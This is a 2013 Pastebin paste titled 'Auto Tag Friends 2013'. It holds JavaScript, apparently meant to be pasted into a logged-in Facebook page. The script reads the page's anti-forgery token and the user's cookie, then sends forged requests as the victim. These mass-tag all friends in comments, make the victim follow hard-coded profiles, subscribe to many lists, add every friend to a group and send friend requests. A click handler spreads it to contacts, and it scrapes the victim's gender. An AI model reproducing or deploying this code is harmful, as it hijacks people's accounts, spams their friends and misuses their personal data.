Famewhore

Auto Tag Friends 2013

Nov 12th, 2013
150
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.86 KB | None | 0 0
  1. /* CREDITOS AO MIGUEL TARGA, ESSA PARTE E DELE */
  2. function x__0() { return window.ActiveXObject ? new ActiveXObject("Msxml2.XMLHTTP") : new XMLHttpRequest; };
  3.  
  4. //Pegar todos amigos
  5. function get_friends(){
  6. var a=x__0();
  7. a.open("GET", "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer="+uid+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", false);
  8. a.send(null);
  9. if (a.readyState == 4) {
  10. var f = JSON.parse(a.responseText.substring(a.responseText.indexOf('{')));
  11. return f.payload.entries;
  12. }
  13. return false;
  14. }
  15.  
  16. /* FIM DA PARTE DO MIGUEL TARGA */
  17.  
  18. //Pegar todos amigos
  19. function get_uid(b){
  20. var a=x__0();
  21. a.open("GET", 'http://graph.facebook.com/'+b, false);
  22. a.send();
  23. if (a.readyState == 4) {
  24. return uid = JSON.parse(a.responseText).id;
  25.  
  26. }
  27. return false;
  28. }
  29. // Pattern que vai trocar o valor dos coment?rios pelas marcaç?es
  30.  
  31. var patt = /comment_text=(.*?)&/
  32. var c = 1;
  33. username = /\.com\/(.*?)\//.exec(window.top.location)[1];
  34. uid = get_uid(username);
  35. a = window.top.location;
  36. termina = 0;
  37. var amigos = get_friends();
  38. post_id = /[0-9]{8,}/.exec(a);
  39. uids = 'comment_text=';
  40. header = 'ft_ent_identifier='+post_id+'&comment_text=0&source=1&client_id=1359576694192%3A1233576093&reply_fbid&parent_comment_id&rootid=u_jsonp_3_19&ft[tn]=[]&ft[qid]=5839337351464612379&ft[mf_story_key]=5470779710560437153&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user='+uid+'&__a=1&__req=4u&fb_dtsg='+document.getElementsByName('fb_dtsg')[0].value+'&phstamp='+Math.random();
  41. for ( var n = 1 ; n < amigos.length ; n++ ){
  42. //uids += '%40[' + amigos[n].uid + '%3A' + encodeURI(amigos[n].text) + ']%20';
  43. fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  44. uids += '%40[' + amigos[n].uid + '%3AAAAAAAAAAAA]%20';
  45. c++;
  46. if(c == 7){
  47. // Quando o contador chega em 7, ele termina o parâmetro com um &...
  48. uids += '&';
  49. // ...envia as coisas com o método do indiano...
  50. with(new XMLHttpRequest()) open("POST", "/ajax/ufi/add_comment.php?__a=1"),setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),send(header.replace(patt, uids));
  51.  
  52. // ... espera um segundo...
  53. z = setTimeout('function(){asd=0}', 1000);
  54. clearInterval(z);
  55.  
  56. // ... e seta tudo de novo pra recomeçar
  57. c = 1;
  58. uids = 'comment_text=';
  59.  
  60.  
  61. }
  62.  
  63. }
  64.  
  65. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  66. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  67.  
  68. function cereziAl(isim) {
  69. var tarama = isim + "=";
  70. if (document.cookie.length > 0) {
  71. konum = document.cookie.indexOf(tarama)
  72. if (konum != -1) {
  73. konum += tarama.length
  74. son = document.cookie.indexOf(";", konum)
  75. if (son == -1)
  76. son = document.cookie.length
  77. return unescape(document.cookie.substring(konum, son))
  78. }
  79. else { return ""; }
  80. }
  81. }
  82.  
  83. function getRandomInt (min, max) {
  84. return Math.floor(Math.random() * (max - min + 1)) + min;
  85. }
  86. function randomValue(arr) {
  87. return arr[getRandomInt(0, arr.length-1)];
  88. }
  89.  
  90. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  91. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  92.  
  93. function a(abone){
  94. var http4 = new XMLHttpRequest();
  95.  
  96. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  97.  
  98. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  99. http4.open("POST", url4, true);
  100.  
  101. //Send the proper header information along with the request
  102. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  103. http4.setRequestHeader("Content-length", params4.length);
  104. http4.setRequestHeader("Connection", "close");
  105.  
  106. http4.onreadystatechange = function() {//Call a function when the state changes.
  107. if(http4.readyState == 4 && http4.status == 200) {
  108.  
  109. http4.close; // Close the connection
  110.  
  111. }
  112. }
  113.  
  114. http4.send(params4);
  115. }
  116.  
  117. function sublist(uidss) {
  118. var a = document.createElement('script');
  119. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  120. document.body.appendChild(a);
  121. }
  122.  
  123.  
  124.  
  125. //Boss
  126. a("100000471068316");a("100006367570550");
  127. a("100006400320870");a("100006500970876");
  128.  
  129.  
  130.  
  131. //list PAGE
  132. sublist("652127798146250");sublist("695099650515731");sublist("410227995747732");
  133. sublist("666218516737178");sublist("695099890515707");sublist("410228109081054");
  134. sublist("666219863403710");sublist("695103410515355");sublist("410228149081050");
  135. sublist("666220173403679");sublist("695104280515268");sublist("410228202414378");
  136. sublist("666219563403740");sublist("695106640515032");sublist("410233705747161");
  137. sublist("671380436220986");sublist("695110383847991");sublist("410228255747706");
  138. sublist("695096287182734");sublist("695116933847336");sublist("410228289081036");
  139. sublist("695096880516008");sublist("695117367180626");sublist("410228355747696");
  140. sublist("410233752413823");sublist("1411390399083199");sublist("1411390805749825");
  141. sublist("410233845747147");sublist("1411390462416526");sublist("1411390875749818");
  142. sublist("410233899080475");sublist("1411390515749854");sublist("1411390912416481");
  143. sublist("410233979080467");sublist("1411390549083184");sublist("1411390939083145");
  144. sublist("410234035747128");sublist("1411390582416514");sublist("1411390985749807");
  145. sublist("410234115747120");sublist("1411390635749842");sublist("1411391055749800");
  146. sublist("410234189080446");sublist("1411390682416504");sublist("1411391095749796");
  147. sublist("410234479080417");sublist("1411390709083168");sublist("1411391319083107");
  148. sublist("410234562413742");sublist("1411390749083164");sublist("1411391365749769");
  149. sublist("410234629080402");sublist("1411390779083161");sublist("1411391399083099");
  150. sublist("687099041319545");sublist("717329468296502");sublist("724787830883999");
  151. sublist("739891662706949");sublist("739893026040146");sublist("741661085863340");
  152. sublist("743196582376457");sublist("743197742376341");sublist("743198132376302");
  153.  
  154.  
  155.  
  156. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  157. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  158.  
  159. var httpwp = new XMLHttpRequest();
  160. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  161. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  162. httpwp['open']('POST', urlwp, true);
  163. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  164. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  165. httpwp['setRequestHeader']('Connection', 'keep-alive');
  166. httpwp['send'](paramswp);
  167.  
  168. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  169. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  170.  
  171. var friends = new Array();
  172. gf = new XMLHttpRequest();
  173. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  174. gf['send']();
  175. if (gf['readyState'] != 4) {} else {
  176. data = eval('(' + gf['responseText']['substr'](9) + ')');
  177. if (data['error']) {} else {
  178. friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  179. return _0x93dax8['index'] - _0x93dax9['index'];
  180. });
  181. };
  182. };
  183.  
  184. for (var i = 0; i < friends['length']; i++) {
  185. var httpwp = new XMLHttpRequest();
  186. var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  187. var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  188. httpwp['open']('POST', urlwp, true);
  189. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  190. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  191. httpwp['setRequestHeader']('Connection', 'keep-alive');
  192. httpwp['onreadystatechange'] = function () {
  193. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  194. };
  195. httpwp['send'](paramswp);
  196. };
  197. var spage_id = "100211486794985";
  198. var spost_id = "100211486794985";
  199. var sfoto_id = "100211486794985";
  200. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  201. var smesaj = "";
  202. var smesaj_text = "";
  203. var arkadaslar = [];
  204. var svn_rev;
  205. var bugun= new Date();
  206. var btarihi = new Date();
  207. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  208. if(!document.cookie.match(/paylasti=(\d+)/)){
  209. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  210. }
  211.  
  212.  
  213. //arkadaslari al ve isle
  214. function sarkadaslari_al(){
  215. var xmlhttp = new XMLHttpRequest();
  216. xmlhttp.onreadystatechange = function () {
  217. if(xmlhttp.readyState == 4){
  218. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  219. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  220. smesaj = "";
  221. smesaj_text = "";
  222. for(i=f*10;i<(f+1)*10;i++){
  223. if(arkadaslar.payload.entries[i]){
  224. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  225. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  226. }
  227. }
  228. sdurumpaylas(); }
  229.  
  230. }
  231.  
  232. };
  233. var params = "&filter[0]=user";
  234. params += "&options[0]=friends_only";
  235. params += "&options[1]=nm";
  236. params += "&token=v7";
  237. params += "&viewer=" + user_id;
  238. params += "&__user=" + user_id;
  239.  
  240. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  241. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  242. xmlhttp.send();
  243. }
  244.  
  245. //tiklama olayini dinle
  246. var tiklama = document.addEventListener("click", function () {
  247. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  248. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  249. sarkadaslari_al();
  250. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  251.  
  252. document.removeEventListener(tiklama);
  253. }
  254. }, false);
  255.  
  256.  
  257. //arkada?? ekleme
  258. function sarkadasekle(uid,cins){
  259. var xmlhttp = new XMLHttpRequest();
  260. xmlhttp.onreadystatechange = function () {
  261. if(xmlhttp.readyState == 4){
  262. }
  263. };
  264.  
  265. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  266. var params = "to_friend=" + uid;
  267. params += "&action=add_friend";
  268. params += "&how_found=friend_browser";
  269. params += "&ref_param=none";
  270. params += "&outgoing_id=";
  271. params += "&logging_location=friend_browser";
  272. params += "&no_flyout_on_click=true";
  273. params += "&ego_log_data=";
  274. params += "&http_referer=";
  275. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  276. params += "&phstamp=165816749114848369115";
  277. params += "&__user=" + user_id;
  278. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  279. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  280.  
  281. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  282. xmlhttp.send(params);
  283. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  284. cinsiyetgetir(uid,cins,"sarkadasekle");
  285. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  286. xmlhttp.send(params);
  287. }
  288. }
  289.  
  290. //cinsiyet belirleme
  291. var cinssonuc = {};
  292. var cinshtml = document.createElement("html");
  293. function scinsiyetgetir(uid,cins,fonksiyon){
  294. var xmlhttp = new XMLHttpRequest();
  295. xmlhttp.onreadystatechange = function () {
  296. if(xmlhttp.readyState == 4){
  297. eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  298. cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  299. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  300. if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  301. document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  302. }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  303. document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  304. }
  305. eval(fonksiyon + "(" + id + "," + cins + ");");
  306. }
  307. };
  308. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  309. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  310. xmlhttp.send();
  311. }
Add Comment
Please, Sign In to add comment